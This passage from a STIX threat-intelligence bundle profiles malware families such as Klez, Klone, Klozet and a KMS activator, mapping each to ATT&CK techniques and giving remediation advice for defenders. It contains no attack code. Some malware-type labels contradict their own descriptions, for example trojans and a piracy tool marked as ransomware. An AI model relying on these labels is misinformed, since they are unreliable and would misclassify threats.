      "spec_version": "2.1",
      "id": "relationship--22b93d40-aad0-5751-b304-3facb17362bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab2fdd74-6c64-5147-beaa-2abfc6014c56",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kirts exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5893c618-bcc6-5486-99a9-c213f27dc8ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab2fdd74-6c64-5147-beaa-2abfc6014c56",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kirts exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbdfd3f5-e063-509c-b220-5f180a330a99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab2fdd74-6c64-5147-beaa-2abfc6014c56",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kirts exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ec69b47-db97-551e-84f2-80cf7417aa6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kiser",
      "description": "<h3>Executive Summary</h3>\nKiser is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKiser is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Kiser operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Kiser ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Kiser receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kiser infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Kiser executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Kiser frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kiser",
        "Downloader.Kiser",
        "Win32/Kiser"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kiser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kiser"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a45877f8-780e-5799-b502-2593dd403203",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ec69b47-db97-551e-84f2-80cf7417aa6c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kiser exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--803197bb-c19b-5d45-bf48-f6189be690c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ec69b47-db97-551e-84f2-80cf7417aa6c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kiser exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18a6272f-c5a9-5833-9229-735e15631a56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ec69b47-db97-551e-84f2-80cf7417aa6c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kiser exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bda9721d-08a5-54e6-9a45-f4b3765ad5f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kjwar5Ju8Ibgb",
      "description": "<h3>Executive Summary</h3>\n\"Kjwar5ju8ibgb\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker (like Emotet or Trickbot).\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized (using tools like VMProtect or custom packers). This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Dynamic Infrastructure:</strong> The malware often relies on a Domain Generation Algorithm (DGA) to rapidly cycle through thousands of potential command-and-control (C2) domains, making IP/Domain blacklisting at the firewall ineffective.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior (e.g., an unknown executable attempting to inject code into `svchost.exe`).</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed (such as rootkit-like persistence), attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Kjwar5ju8ibgb",
        "Malware.Obfuscated.DGA",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kjwar5Ju8Ibgb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kjwar5ju8ibgb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09af14c0-1be7-5645-a212-e989d853b013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bda9721d-08a5-54e6-9a45-f4b3765ad5f0",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kjwar5Ju8Ibgb exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a46d7460-02db-56f3-ad61-0500f9fea935",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bda9721d-08a5-54e6-9a45-f4b3765ad5f0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kjwar5Ju8Ibgb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4689dc6-0be7-5a3c-9c31-d20af1da6bca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bda9721d-08a5-54e6-9a45-f4b3765ad5f0",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kjwar5Ju8Ibgb exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c38fdbca-fcd9-5f3f-b740-62f99f6ec958",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bda9721d-08a5-54e6-9a45-f4b3765ad5f0",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kjwar5Ju8Ibgb exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3ba3cb0-754c-5205-bc7d-b384284a6ced",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Klez",
      "description": "Worm:Win32/Klez is a historic, highly destructive mass-mailing worm that first appeared in late 2001 and raged across the internet for years. Klez fundamentally changed the landscape of malware by being one of the first major worms to utilize **'Sender Spoofing'**. By forging the 'From:' address in its emails, it caused massive confusion, resulting in innocent users being accused of spreading the virus, and making the true source of the infection incredibly difficult to track down.<br><br><b>Understanding the Klez Worm</b><br>To an infected user, the computer might slow down, and their antivirus software would suddenly stop working. To the rest of the world, it appeared as if everyone was emailing the virus to everyone else. For security analysts, Klez represents the peak of the mass-mailing worm era. It was highly aggressive, exploiting an unpatched vulnerability in Microsoft Outlook/Internet Explorer that allowed the malicious attachment to execute *automatically* just by viewing the email in the preview pane.<br><br><b>Propagation and Spoofing Mechanics</b><br>The infection cycle begins when a victim receives a seemingly legitimate email containing the Klez executable. It exploited the `IFRAME` vulnerability (CVE-2001-0154) (`T1190`) to execute without user interaction (`T1204`). Upon execution, Klez drops itself into the Windows System folder and establishes persistence (`T1547.001`). Its core function is propagation (`T1534`). It scans the victim's hard drive for email addresses (in address books, cached web pages, and documents). When sending a copy of itself, Klez randomly selects an address from the victim's address book to place in the 'To:' field, and crucially, selects *another* random address to place in the 'From:' field (Sender Spoofing). Furthermore, Klez actively attempts to disable and delete dozens of popular antivirus programs to ensure its survival (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was massive network congestion, reputational damage due to spoofing, and the disabling of endpoint security. The most glaring IoC is an overwhelming surge in outbound SMTP traffic on port 25 originating from the endpoint. Host-based IoCs include EDR alerts for the sudden, forceful termination of antivirus processes and the creation of randomly named executables in the `%SystemRoot%`. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Klez",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/klez"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--187c1799-08ae-52e3-9e2d-6e2d2dd42f7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3ba3cb0-754c-5205-bc7d-b384284a6ced",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klez exhibits technique T1534 (Internal Spearphishing (Mass-mailing propagation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8660e78a-c207-57f7-8748-f213efa55b43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3ba3cb0-754c-5205-bc7d-b384284a6ced",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klez exhibits technique T1190 (Exploit Public-Facing Application (Exploiting Outlook IFRAME vulnerability))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49394429-f6da-5b4a-9177-13eccba50aac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3ba3cb0-754c-5205-bc7d-b384284a6ced",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klez exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Killing AV processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ec7d8a0-c538-5711-8f55-a07ad1187278",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3ba3cb0-754c-5205-bc7d-b384284a6ced",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klez exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3038809-a231-5fda-9bad-94d34910945d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Klone",
      "description": "Trojan:Win32/Klone is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Klone</b><br>To an end-user, a Klone infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Klone is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Klone is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Klone frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Klone reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Klone",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/klone"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80686892-d02b-5f49-bde8-a40b2f9a53ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3038809-a231-5fda-9bad-94d34910945d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klone exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbf1384e-bb12-5dad-ae1f-1ae69823f8c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3038809-a231-5fda-9bad-94d34910945d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klone exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b67dbbe6-0cb0-5d84-befb-195a6305aaf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3038809-a231-5fda-9bad-94d34910945d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klone exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7fd208d-6b82-50b7-881c-61cd6f69414f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3038809-a231-5fda-9bad-94d34910945d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klone exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6560a218-6bf9-5077-9123-8eff42191fb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3038809-a231-5fda-9bad-94d34910945d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klone exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b40041df-a783-57f6-b1dd-f9ee87a627b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Klozet",
      "description": "<h3>Executive Summary</h3>\nKlozet is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, more destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKlozet is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents) or via compromised software installers.\n\nUpon successful execution, Klozet operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Klozet ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` key) or by dropping a shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Klozet receives encrypted instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Klozet infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network or be fully encrypted by a secondary ransomware payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Klozet executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Klozet often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Klozet",
        "Downloader.Klozet",
        "Win32/Klozet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Klozet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/klozet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a9d6e07-ee94-54df-9e17-ee57d672ea36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b40041df-a783-57f6-b1dd-f9ee87a627b0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klozet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7668b40-7c04-567e-a93b-e69f92fb307e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b40041df-a783-57f6-b1dd-f9ee87a627b0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klozet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c727c54-f15b-5788-a81e-a15ec8febc47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b40041df-a783-57f6-b1dd-f9ee87a627b0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Klozet exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e18632fc-37e1-534b-8b90-f57a60f10247",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kmsactivator",
      "description": "<h3>Executive Summary</h3>\nKMS Activator (often seen as AutoKMS or KMSpico) is a widely distributed \"HackTool\" designed to illegally bypass Microsoft's Key Management Service (KMS) activation for Windows operating systems and Microsoft Office products. While the core tool itself is designed for software piracy rather than direct data destruction, its distribution methods make it a primary, high-risk vector for severe malware infections, including ransomware and banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKMS Activators are almost exclusively downloaded from untrustworthy sources: peer-to-peer (P2P) networks, torrents, and shady software cracking websites. \n\nUpon execution, the tool performs the following actions:\n<ul>\n<li><strong>Local KMS Emulation:</strong> The legitimate KMS process requires enterprise machines to check in with a corporate activation server. KMS Activators install a local service (e.g., `AutoKMS.exe` or `SECOH-QAD.exe`) that runs in the background. It intercepts the operating system's activation requests and simulates a successful response from a fake, local KMS server.</li>\n<li><strong>Persistence and Evasion:</strong> To maintain the \"activated\" state, the tool typically adds a Scheduled Task to run silently on every boot. It frequently modifies the Windows Hosts file or adds exceptions to Windows Defender to prevent the local KMS emulator from being detected and removed.</li>\n<li><strong>The Bundle Threat:</strong> The critical risk of KMS Activators is the <strong>supply chain</strong>. Because users are actively seeking out hacking tools and are instructed by the \"crackers\" to disable their antivirus before running the executable, threat actors heavily repackage KMS Activators with destructive payloads. The user gets their \"free\" Office software, while a secondary payload (like RedLine Stealer, Djvu Ransomware, or a botnet client) is silently installed in the background.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a KMS Activator is a severe security violation, not just a licensing issue. It indicates that an end-user has intentionally bypassed security controls, disabled antivirus, and executed code from an untrusted source with administrative privileges. The probability of secondary, severe malware infections on a machine running a KMS Activator is extremely high.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Assume Compromise:</strong> Do not assume the detection is merely a licensing violation. Treat the endpoint as fully compromised and execute a comprehensive forensic scan using a reputable EDR solution to hunt for secondary payloads (stealers, RATs, ransomware).</li>\n<li><strong>Uninstallation and Cleanup:</strong> Remove the KMS tool via Control Panel (if listed), delete the associated scheduled tasks, and reset the Windows Hosts file to its default state.</li>\n<li><strong>System Re-imaging:</strong> Due to the high likelihood of deeply embedded secondary payloads, the safest remediation strategy is a complete bare-metal wipe and re-image from a trusted corporate baseline, followed by legitimate software activation.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.AutoKMS",
        "RiskWare.KMSpico",
        "Win32/HackKMS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kmsactivator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kmsactivator"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dcda8fb-01d6-5dee-98f9-46287843c190",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e18632fc-37e1-534b-8b90-f57a60f10247",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmsactivator exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0bf28a3-cad6-5e28-b66d-d6412c4982b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e18632fc-37e1-534b-8b90-f57a60f10247",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kmsactivator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
